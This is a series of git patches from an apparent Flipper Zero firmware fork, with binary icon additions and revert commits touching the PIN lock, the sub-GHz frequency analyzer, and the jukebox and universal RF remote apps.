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 literal 0 HcmV?d00001 diff --git a/assets/icons/iButton/DolphinExcited_64x63.png b/assets/icons/iButton/DolphinExcited_64x63.png new file mode 100644 index 0000000000000000000000000000000000000000..e695c85f08109523700392e311416ab7413a624e GIT binary patch literal 2304 zcmbVO32+lt7~ZzhR?1;1Xu&Bg3(6szJ#uxIMre~_YnxIa*eVKac3+Z(WH;_^o20dZ z6b38E;0%H=a+IMS2w0V4T2!iKP)3wPF0YoB0jxL_R7OtqB@MA62;2>PM{0={1A;GS>u9!j-L%Q)Ct_8WWhRj?!r(}uwW%dJ8Ab@fk(`% zP{5RmA_reFn`Z=U+@ok#kc9+3pmAu>=ap18Xu%@9ENq8|2@H)uwAmIcJ8TdwwHKpS zSpld?N8&t5(x{oyQ6_`IM2c$7m%rDiaip2y%Xc(vjhiB0zzU;rwNaH)34i3E%}jAZaSZQZcOGBWtqik#9pC zoBoFZD6QQdvvEsbe7=|oRm&}hVMGPFC0cca{D7DYRJlyyL2fy8b67YUKWkM0r^$*# zmc2JNs`!S>C{5{TbYzJr335Ok)olT=aT>5-aMviDq~YzLX;yDwN#i3F$&zFj)GiC6 zD|8c7?;tZ-(!}ab|A4}j5jc&zBUs>Bm#p|W7_jK$+<@>)ZVZjd$XaEutU$xiJAL=@ ze5Ij#)_D)_GYf2TC{h{hY$VS_Bl;g1HpghjwL*)8|Ju zIob)Q&utl1uKd5nxVz-⁢8g{(TPqj~G#*c@HPK0j$|XBp4!G-MY4!xH$tNbKNQ- zR5LOJ%WJq9tLv~6`(*$Uq*h?vUtGK5Qv`|U^KID<&kIMMDtNyc?NwdaIR~`NTYkP* z@;A@rZ2fWTsMP!Sn8-`_%^RE0QdvzM>p7*oy?@;Hw!oR>rt>X3{$O*E!OvgoOpQkx zr<@JNHQ62}*F10_e&EqP#{*=&a{SWe4Zj`y<&91usbj$On$dNNbm+l@SO@J%$=S87 zVRxbXohAH2Y0JfijEw^a>~hR_uViVqws&u6?6T@4s%}w5#_^dSsk-^&Pdn$nR9m@e z#Ll#yUo3BA>w9lTMyAbm?7!b%mD}vCnZI{ZsB&Au&pj-MB%%| z`=$-OXF-y5F!!eyCwd1ZW&~46t@ThdpLO!Rt8wHtkhOGv;@RtcJN71shfVI?2Zmo5 za-nkmGVi#$VU>f7e0%z-tn2A{{r6pZVNOYDXJdSOy>EI(!;Jdn`wR5CW95=mb!G9G z^;OrH0^yOZ8?TK_eEh66`B>T12kKqwz|o{3Z~T#jh9MiP_FLZUc>iq+(mr%*V?#~9 z=JvRKnWeQ`d(GbwswU2%!cI9TI7`rEyLHX+SED}IlR)^Lz{Rcttho=+L-#Mk(Hgkf=N5t zHfDd^nzZ)xsVhr%_6u67kF9ye+xT<#ERvM_jjw1rvG9YenXlzuJ(q&7%3Z-!^eSyz z_=9WmzW~;NICua6 literal 0 HcmV?d00001 diff --git a/assets/icons/iButton/iButtonDolphinSuccess_109x60.png b/assets/icons/iButton/iButtonDolphinSuccess_109x60.png new file mode 100644 index 0000000000000000000000000000000000000000..f234aba9043fc3ab21e63d5ae71fc1634ee50dd6 GIT binary patch literal 2178 zcmbVOX;2eq7!H+M#M>TXCqvhjAEHh600LP_6%vk!5hPHt$JAwaLv~2AOLidv6j1SM z1r?Dxh%FS0bQHYt>Ub11^(tNrT57A{pcVnef+w|KIMPnX*49im`yJ2wy!Sg<88bU# zr03h75{YD_Hc}G{-e&Lwd%OaETO!N#;5CeooF_;m!(VqkZj#~>FNx&Ux7fG@F+n$r zpg6Ofq`5>!Za4D)4TPuLd6G(IL@1F-Vl67T^Ux6(VrdmTH$aE#cr{~WBQvawK4W$q zm61#-X?Xg3P_Uf<1ZGAgA-maR5eT~q?&BrE+Ift?P#;80R>2`og;0Vn22yiY22#jT z8HJ)a6sVMA3V(kE`Ywc{IEtVF2!_ir1%dh#SRgd;fq^zFZ6IPb;RCwBP6Zo9ktYzu zX0yp{esa#5gkVag5vkAUVEdv6Kh7=hU46=sFP#k>YaGXFDguh}ch7u^+57mJ> zph=PZZ(xpQ4e2k0(iCCftY#8Ki8Yf+48mKI`n2hEgw`U6q=jO%8Wjvom9s2OD5$_7 z45e`yi75kQ3P1lqSrAGYWC0kiV3a7T3?Tch1@an>N_A#%P@evu^3hfnbP#EJc^+4W z2sLNotU8VcQTBtOKhL#lb&QoWuqJRJ#72Zd+Ay^OQz{fPT#h*ly|3ViNLBz@O&@3- zJ(Du9GOJ53+oO6 z#v{&#?e_!uyNi8ye`)SPIG7mDrE64yjceF37BJzgV3cwAh~W~+ka1c~NSwW-z4&TI zE#$E*HM;Xz(e5F0+h(|p9btGf>amG^n)z9d&!dCYbXkdC=IVw7x9$&2pWM@W>8>s) z+LfrSx_x^^@aS7o$F8i}71b_B5U`G|p&!oY;B!Kuz00pOopP zUinW(-iRrD!*M9>%F4;hrJbqqjYKYq zN1UvvesFDRLtE?Qrp4*A>h(T(e(rUbE|*ueYlgnIc~xWMhuxn#I)+=8RB5CvWnz*G zn4ccA4eiEl>syN+l|PE@g^FztXHE&+BU?t4)p=8em7XWJ9ge;}Wy{_8+&O8x0~KFS z4a{vdX6`?s$r+hO?iHXh^(mWmwZ1!Qrq0to90p(W%sM^fU8${LXF9dWFsZQVLSc7{ zzDYgpX2;B??1&{@Ju9vT*PQCD-@k53@M7;AetFj-uT1v|(&Ug;&t~ep0WgOKN zAz91k?~?{M$6*^5=Cy;(sEaM}TlUMU3X*5l~Aqu$#~`BuGhkcd3$QpeCp@ebBU;+33uKf9lqk;kI%kRrPZJRZg*#; zadY+$shLI8){aj-_9g6Fa9~_-ulG`)vhuC-qT`K4N4lla{wL?{lYi2()m-{8#E|S> zz*dbnHpIT8dcS4F$J>xsz8+f>eJ1qhnTa9#9l3!`b;)birXJbUUbTMxn;Z4jyUt`j z#ZUPjnHc@ih=}aCZx7!S?@IF@c<=n;=p4IyQPkQCn?(7l9%JSD@ey}R3$n5f75o;K zv*Bq_+Qf=qwtv2DbXl9Dc3sxfa))yJtj3;4?zb-9HW5wt^Mi)e`2Ak!(Q+|F^lY0J nlt1Pie{4%#{jRRld57H^dV=R~_ifK|{!7q?&DK Date: Thu, 19 May 2022 20:04:07 +0300 Subject: [PATCH 180/461] Revert "Update pin_lock.c" This reverts commit 524b602700d2f8b1a02972f2f78f7f1affcc38f6. --- applications/desktop/helpers/pin_lock.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index d63398d96..00ac41778 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,12 +100,11 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); + furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - Cli* cli = furi_record_open("cli"); - cli_session_close(cli); - furi_record_close("cli"); + furi_hal_usb_disable(); } } From ca35915b961640f5eecdb6d9e3c5d7dd7423ce70 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:16 +0300 Subject: [PATCH 181/461] Revert "Update sesproject" This reverts commit 8a931720612e4c228883ea9c51b527d306ca0e60. --- sesproject | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sesproject b/sesproject index c4fe63f83..ff16e1176 160000 --- a/sesproject +++ b/sesproject @@ -1 +1 @@ -Subproject commit c4fe63f83b829491a38aa8e6e59fa64ac7f8f95b +Subproject commit ff16e11762a7df15982e5446d2bdde620334ebb2 From 64073bd905630d5454ad2c9d4200979672664dd0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:23 +0300 Subject: [PATCH 182/461] Revert "try rollback subghz fix" This reverts commit 793f64f8d78e48566417e932271f7c123b9da61f. --- applications/desktop/desktop.c | 7 +- applications/desktop/helpers/pin_lock.c | 5 +- .../subghz_frequency_analyzer_worker.c | 155 +++++++++++++----- 3 files changed, 120 insertions(+), 47 deletions(-) diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 514166375..34c169e07 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,12 +56,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - } else { - desktop_lock(desktop); - } + desktop_lock(desktop); } return true; } diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index 00ac41778..d63398d96 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,11 +100,12 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); - furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - furi_hal_usb_disable(); + Cli* cli = furi_record_open("cli"); + cli_session_close(cli); + furi_record_close("cli"); } } diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index ddbe5e59f..88e2a621c 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -1,24 +1,22 @@ #include "subghz_frequency_analyzer_worker.h" -#include +#include #include #include "../subghz_i.h" +#define TAG "SubghzFrequencyAnalyzerWorker" + +#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f + static const uint8_t subghz_preset_ook_58khz[][2] = { - {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 - {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz - {CC1101_TEST2, 0x81}, // FIFOTHR ADC_RETENTION=1 matched value - {CC1101_TEST1, 0x35}, // FIFOTHR ADC_RETENTION=1 matched value + {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz /* End */ {0, 0}, }; static const uint8_t subghz_preset_ook_650khz[][2] = { - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - {CC1101_MDMCFG4, 0x17}, // Rx BW filter is 650.000kHz - {CC1101_TEST2, 0x88}, - {CC1101_TEST1, 0x31}, + {CC1101_MDMCFG4, 0b00010111}, // Rx BW filter is 650.000kHz /* End */ {0, 0}, }; @@ -27,7 +25,7 @@ struct SubGhzFrequencyAnalyzerWorker { FuriThread* thread; volatile bool worker_running; - uint8_t count_repet; + uint8_t sample_hold_counter; FrequencyRSSI frequency_rssi_buf; SubGhzSetting* setting; @@ -37,6 +35,16 @@ struct SubGhzFrequencyAnalyzerWorker { void* context; }; +static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + size_t i = 0; + while(data[i][0]) { + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); + i++; + } + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); +} + // running average with adaptive coefficient static uint32_t subghz_frequency_analyzer_worker_expRunningAverageAdaptive( SubGhzFrequencyAnalyzerWorker* instance, @@ -62,32 +70,75 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; - float rssi; - uint32_t frequency; - uint32_t frequency_start; + float rssi = 0; + uint32_t frequency = 0; + CC1101Status status; //Start CC1101 furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); - furi_hal_subghz_set_frequency(433920000); - furi_hal_subghz_flush_rx(); + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, + 0b11111111); // symbol rate + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL2, + 0b00000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAGN_TARGET 42 dB + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL1, + 0b00001000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 1000 - Absolute carrier sense threshold disabled + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL0, + 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary + + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); - furi_hal_subghz_rx(); while(instance->worker_running) { osDelay(10); + + float rssi_min = 26.0f; + float rssi_avg = 0; + size_t rssi_avg_samples = 0; + frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_650khz); + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); + + // First stage: coarse scan for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency( + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency( + &furi_hal_spi_bus_handle_subghz, subghz_setting_get_frequency(instance->setting, i)); - furi_hal_subghz_rx(); - osDelay(3); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + + // delay will be in range between 1 and 2ms + osDelay(2); + rssi = furi_hal_subghz_get_rssi(); + + rssi_avg += rssi; + rssi_avg_samples++; + + if(rssi < rssi_min) rssi_min = rssi; + if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; frequency_rssi.frequency = frequency; @@ -95,19 +146,41 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { - // -0.5 ... 433.92 ... +0.5 - frequency_start = frequency_rssi.frequency - 250000; - //step 10KHz + FURI_LOG_T( + TAG, + "RSSI: avg %f, max %f at %u, min %f", + (double)(rssi_avg / rssi_avg_samples), + (double)frequency_rssi.rssi, + frequency_rssi.frequency, + (double)rssi_min); + + // Second stage: fine scan + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + FURI_LOG_D(TAG, "~:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); + frequency_rssi.rssi = -127.0; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_58khz); - for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); + //-0.3 ... 433.92 ... +0.3 step 10KHz + for(uint32_t i = frequency_rssi.frequency - 300000; + i < frequency_rssi.frequency + 300000; + i += 20000) { if(furi_hal_subghz_is_frequency_valid(i)) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency(i); - furi_hal_subghz_rx(); - osDelay(3); + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, i); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + + // delay will be in range between 1 and 2ms + osDelay(2); + rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -117,20 +190,24 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { - instance->count_repet = 20; + // Deliver results + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); + + instance->sample_hold_counter = 20; if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( instance, frequency_rssi.frequency); } - if(instance->pair_callback) + // Deliver callback + if(instance->pair_callback) { instance->pair_callback( instance->context, frequency_rssi.frequency, frequency_rssi.rssi); - + } } else { - if(instance->count_repet > 0) { - instance->count_repet--; + if(instance->sample_hold_counter > 0) { + instance->sample_hold_counter--; } else { instance->filVal = 0; if(instance->pair_callback) instance->pair_callback(instance->context, 0, 0); @@ -198,4 +275,4 @@ void subghz_frequency_analyzer_worker_stop(SubGhzFrequencyAnalyzerWorker* instan bool subghz_frequency_analyzer_worker_is_running(SubGhzFrequencyAnalyzerWorker* instance) { furi_assert(instance); return instance->worker_running; -} \ No newline at end of file +} From 9fe7fe5dc2344e13f9267080aaaff79743164466 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:04:28 +0300 Subject: [PATCH 183/461] Revert "upd" This reverts commit 4d4189f3c449c5d5b3ea5402fee54fa9e1dca9d8. --- applications/jukebox/jukebox.c | 59 +++++++++++++++------ applications/universal_rf/universal_rf.c | 65 +++++++++++++++++------- 2 files changed, 90 insertions(+), 34 deletions(-) diff --git a/applications/jukebox/jukebox.c b/applications/jukebox/jukebox.c index d4eb814d5..17bfa89d6 100644 --- a/applications/jukebox/jukebox.c +++ b/applications/jukebox/jukebox.c @@ -7,7 +7,6 @@ #include #include #include -#include #define TAG "JukeBox" @@ -32,7 +31,7 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return(new); + return new; } static char* file_stub(const char* file_name) { @@ -41,7 +40,7 @@ static char* file_stub(const char* file_name) { // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return(subString((char*)string_get_cstr(filename), 8)); + return subString((char*)string_get_cstr(filename), 8); } static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -59,7 +58,7 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr } else { return; } - NotificationApp* notification = furi_record_open("notification"); + FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -78,8 +77,6 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); - notification_message(notification, &sequence_set_vibro_on); - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -87,9 +84,6 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr fflush(stdout); osDelay(333); } - notification_message(notification, &sequence_reset_vibro); - - furi_record_close("notification"); furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -165,15 +159,13 @@ static void jukebox_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - jukebox_reset_state(state); + release_mutex((ValueMutex*)ctx, state); } static void jukebox_input_callback(InputEvent* input_event, void* ctx) { - if (input_event->type == InputTypeRelease) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); - } + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); } int32_t jukebox_app(void* p) { @@ -226,7 +218,7 @@ int32_t jukebox_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return(0); + return 0; } ViewPort* view_port = view_port_alloc(); @@ -248,22 +240,57 @@ int32_t jukebox_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { + if(event.type == InputTypePress) { state->press[0] = true; + } else if(event.type == InputTypeRelease) { + state->press[0] = false; + } else if(event.type == InputTypeShort) { + state->press[0] = false; + } } else if(event.key == InputKeyLeft) { + if(event.type == InputTypePress) { state->press[1] = true; + } else if(event.type == InputTypeRelease) { + state->press[1] = false; + } else if(event.type == InputTypeShort) { + state->press[1] = false; + } } else if(event.key == InputKeyUp) { + if(event.type == InputTypePress) { state->press[2] = true; + } else if(event.type == InputTypeRelease) { + state->press[2] = false; + } else if(event.type == InputTypeShort) { + state->press[2] = false; + } } else if(event.key == InputKeyDown) { + if(event.type == InputTypePress) { state->press[3] = true; + } else if(event.type == InputTypeRelease) { + state->press[3] = false; + } else if(event.type == InputTypeShort) { + state->press[3] = false; + } } else if(event.key == InputKeyOk) { + if(event.type == InputTypePress) { state->press[4] = true; + } else if(event.type == InputTypeRelease) { + state->press[4] = false; + } else if(event.type == InputTypeShort) { + state->press[4] = false; + } } else if(event.key == InputKeyBack) { + if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; + } else if(event.type == InputTypeShort) { + jukebox_reset_state(state); + } } release_mutex(&state_mutex, state); view_port_update(view_port); } + // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); @@ -272,5 +299,5 @@ int32_t jukebox_app(void* p) { furi_record_close("gui"); - return(0); + return 0; } \ No newline at end of file diff --git a/applications/universal_rf/universal_rf.c b/applications/universal_rf/universal_rf.c index ca21e5162..d37c38350 100644 --- a/applications/universal_rf/universal_rf.c +++ b/applications/universal_rf/universal_rf.c @@ -7,7 +7,6 @@ #include #include #include -#include #define TAG "UniveralRFRemote" @@ -32,15 +31,16 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return(new); + return new; } static char* file_stub(const char* file_name) { string_t filename; string_init(filename); + // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return(subString((char*)string_get_cstr(filename), 8)); + return subString((char*)string_get_cstr(filename), 8); } static void remote_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -58,7 +58,7 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro } else { return; } - NotificationApp* notification = furi_record_open("notification"); + FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -77,8 +77,6 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); - notification_message(notification, &sequence_set_vibro_on); - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -86,10 +84,6 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro fflush(stdout); osDelay(333); } - notification_message(notification, &sequence_reset_vibro); - - furi_record_close("notification"); - furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -121,6 +115,7 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { canvas_draw_str(canvas, 0, 36, strings[3]); canvas_draw_str(canvas, 85, 36, strings[4]); canvas_draw_str(canvas, 0, 48, strings[0]); + // canvas_draw_circle(canvas, 100, 26, 25); if(state->press[0]) { string_cat_printf(signal, "%s", string_get_cstr(right_file)); @@ -164,15 +159,13 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - remote_reset_state(state); + release_mutex((ValueMutex*)ctx, state); } static void remote_input_callback(InputEvent* input_event, void* ctx) { - if (input_event->type == InputTypeRelease) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); - } + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); } int32_t universal_rf_remote_app(void* p) { @@ -225,7 +218,7 @@ int32_t universal_rf_remote_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return(0); + return 0; } ViewPort* view_port = view_port_alloc(); @@ -233,6 +226,7 @@ int32_t universal_rf_remote_app(void* p) { view_port_draw_callback_set(view_port, remote_render_callback, &state_mutex); view_port_input_callback_set(view_port, remote_input_callback, event_queue); + // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); @@ -246,23 +240,58 @@ int32_t 